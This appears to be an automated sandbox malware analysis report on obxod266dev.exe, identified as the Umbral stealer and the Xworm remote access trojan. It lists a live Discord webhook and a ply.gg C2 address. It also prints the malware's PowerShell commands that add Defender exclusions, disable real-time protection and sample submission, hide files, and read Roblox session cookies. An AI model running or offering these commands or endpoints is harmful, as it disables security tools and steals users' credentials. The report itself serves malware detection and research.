Analysis

  • max time kernel
    146s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250217-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-02-2025 10:42

General

  • Target

    obxod266dev.exe

  • Size

    329KB

  • MD5

    31fc82eeaed45f2389b57ffb9d8f6ea2

  • SHA1

    fd46d4e307b09a372a3bfc0d88b87eeccaf77912

  • SHA256

    dc7f8c7c39bb043da2c19a03504c499e0af367fefee810a8190c1119992e2248

  • SHA512

    418bca3b27a8354e559de8e1333ebc8ff42a5d4f07b42a0ec95775c9a52feb1d61a00006ceefef3be8e30dc07c0fb3123440413a2b16d8d9cc6e468cb9d5c962

  • SSDEEP

    6144:3aDaK7MooumCpZSApAWl2IenY7YDlw+JmS1r8+CMCX:3LK7sk2IKYkp/mYPCX

Malware Config

Extracted

Family

umbral

C2

https://discord.com/api/webhooks/1342862584386420817/8iDLBPWkMbkgW0Lx9Tlnezr6EGJYKsdRBZ8GJHI66h0NchvKorRU-U6oiQsKR-OZeqD9

Extracted

Family

xworm

C2

25.ip.gl.ply.gg:59054

Attributes
  • Install_directory

    %AppData%

  • install_file

    svchost.exe

Signatures

  • Detect Umbral payload 2 IoCs
  • Detect Xworm Payload 2 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Umbral family
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

    Using powershell.exe command.

  • Drops file in Drivers directory 1 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious use of AdjustPrivilegeToken 53 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\obxod266dev.exe
    "C:\Users\Admin\AppData\Local\Temp\obxod266dev.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4140
    • C:\Users\Admin\AppData\Roaming\obxod 266dev.exe
      "C:\Users\Admin\AppData\Roaming\obxod 266dev.exe"
      2⤵
      • Checks computer location settings
      • Drops startup file
      • Executes dropped EXE
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1144
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\obxod 266dev.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2940
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'obxod 266dev.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4776
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\svchost.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4052
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2336
    • C:\Users\Admin\AppData\Roaming\Umbral.exe
      "C:\Users\Admin\AppData\Roaming\Umbral.exe"
      2⤵
      • Drops file in Drivers directory
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1064
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:5096
      • C:\Windows\SYSTEM32\attrib.exe
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Roaming\Umbral.exe"
        3⤵
        • Views/modifies file attributes
        PID:2080
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Umbral.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2540
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1188
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5112
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2904

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    d85ba6ff808d9e5444a4b369f5bc2730

    SHA1

    31aa9d96590fff6981b315e0b391b575e4c0804a

    SHA256

    84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

    SHA512

    8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    eb033be02578f9635ec47bdc1de5c3fb

    SHA1

    ec356bc87381354a06baa9c30e8c3ac3d30e0f6f

    SHA256

    bd827af3192bf83c75a32e51ed2de83bd3b90d6b99350721a189a57cec15d063

    SHA512

    4d8778503646f7016df73ff9d204760f4fe4d2b24157920ac3e5651653373975b2f2d229530143059f11b16c42822ad7963e628ad6066022ee712c17d90595ed

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    948B

    MD5

    8bbd6908e148d61010a3130cb6aae4a0

    SHA1

    e74bcc1b0f762fcd7469d0621b9c7fe50b0c365d

    SHA256

    79c8ed7085737723dbc7c40b32d01ea400171787259b7458561cd5db60401023

    SHA512

    38057edb5f2ce86329f558bf34224c6110443635756b1b26da99f89b13e3f971bf602939f40d3fce8459cfdab4ad4fa4928ecb933ff045173535fcc46fe4855f

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    276798eeb29a49dc6e199768bc9c2e71

    SHA1

    5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

    SHA256

    cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

    SHA512

    0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    731e9e4becec0b1ef9caad4b3562d4b4

    SHA1

    6dffb77aba4e92ad5bd4b7c02fdee6f328bcd457

    SHA256

    71c7eca538938fa4d5b470fee41cfe43734e9beb9ae409d5b41111fa1a15c2d5

    SHA512

    841cf559ae5b0feec4be43018717641399b3602a553112e98b07d498f1a44169924466abc7e2313b8e8cf1c0fdc1bb7635e2818aab8269b0ef349a0ba0cd6ae5

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    34f595487e6bfd1d11c7de88ee50356a

    SHA1

    4caad088c15766cc0fa1f42009260e9a02f953bb

    SHA256

    0f9a4b52e01cb051052228a55d0515911b7ef5a8db3cf925528c746df511424d

    SHA512

    10976c5deaf9fac449e703e852c3b08d099f430de2d7c7b8e2525c35d63e28b890e5aab63feff9b20bca0aaf9f35a3ba411aee3fbeee9ea59f90ed25bd617a0b

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    10890cda4b6eab618e926c4118ab0647

    SHA1

    1e1d63b73a0e6c7575f458b3c7917a9ce5ba776d

    SHA256

    00f8a035324d39bd62e6dee5e1b480069015471c487ebee4479e6990ea9ddb14

    SHA512

    a2ee84006c24a36f25e0bca0772430d64e3791f233da916aecdeae6712763e77d55bbbd00dc8f6b2b3887f3c26ab3980b96c5f46cc823e81e28abbbc5fc78221

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2kiczn1h.kes.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\Umbral.exe

    Filesize

    232KB

    MD5

    e486d8aafa368a43a56987dd4d80aa75

    SHA1

    8851fe89928a47a58b50348d9a4458f24e2725f9

    SHA256

    596ac7d2aa525ceb7b82aec1e6376d34f36649f028de442fb0a0021e380db136

    SHA512

    abe413e1277c0ac103778822dcd3f6b03f315fad83731af10284a68fca8ecfa2d2c6b9d9c3e0ec55803a2b31d03ae9c863c430eba23954ccc5f82b2a6d21e573

  • C:\Users\Admin\AppData\Roaming\obxod 266dev.exe

    Filesize

    80KB

    MD5

    3598f860aacfe53b00c305715a6c7b2f

    SHA1

    70640b2e8a71017cdf5fb8e91fe0b065f89a064b

    SHA256

    b4b8385381c3bb23d821f179a73ff19083d15f7cc6e1c9cc2235da3c382db241

    SHA512

    0b2bfa9e701ba126acb6bf9b9b5df26e8558a59708659ec2981173267d277f44e6b6575f1ceb945a86705796ea8f50c5cd1617ee45fdaabdc68af9b2022e654c

  • memory/1064-110-0x000002127C5D0000-0x000002127C620000-memory.dmp

    Filesize

    320KB

  • memory/1064-26-0x0000021279CF0000-0x0000021279D30000-memory.dmp

    Filesize

    256KB

  • memory/1064-28-0x00007FFC92D50000-0x00007FFC93811000-memory.dmp

    Filesize

    10.8MB

  • memory/1064-154-0x00007FFC92D50000-0x00007FFC93811000-memory.dmp

    Filesize

    10.8MB

  • memory/1064-149-0x000002127C190000-0x000002127C1A2000-memory.dmp

    Filesize

    72KB

  • memory/1064-81-0x00007FFC92D50000-0x00007FFC93811000-memory.dmp

    Filesize

    10.8MB

  • memory/1064-82-0x000002127C1F0000-0x000002127C2F2000-memory.dmp

    Filesize

    1.0MB

  • memory/1064-148-0x000002127C160000-0x000002127C16A000-memory.dmp

    Filesize

    40KB

  • memory/1064-111-0x000002127C660000-0x000002127C67E000-memory.dmp

    Filesize

    120KB

  • memory/1064-109-0x000002127C540000-0x000002127C5B6000-memory.dmp

    Filesize

    472KB

  • memory/1144-25-0x0000000000AC0000-0x0000000000ADA000-memory.dmp

    Filesize

    104KB

  • memory/1144-27-0x00007FFC92D50000-0x00007FFC93811000-memory.dmp

    Filesize

    10.8MB

  • memory/1144-83-0x00007FFC92D50000-0x00007FFC93811000-memory.dmp

    Filesize

    10.8MB

  • memory/1144-80-0x00007FFC92D50000-0x00007FFC93811000-memory.dmp

    Filesize

    10.8MB

  • memory/1144-79-0x00007FFC92D50000-0x00007FFC93811000-memory.dmp

    Filesize

    10.8MB

  • memory/2940-38-0x000001C5F3280000-0x000001C5F32A2000-memory.dmp

    Filesize

    136KB

  • memory/4140-0-0x00007FFC92D53000-0x00007FFC92D55000-memory.dmp

    Filesize

    8KB

  • memory/4140-1-0x0000000000F90000-0x0000000000FE8000-memory.dmp

    Filesize

    352KB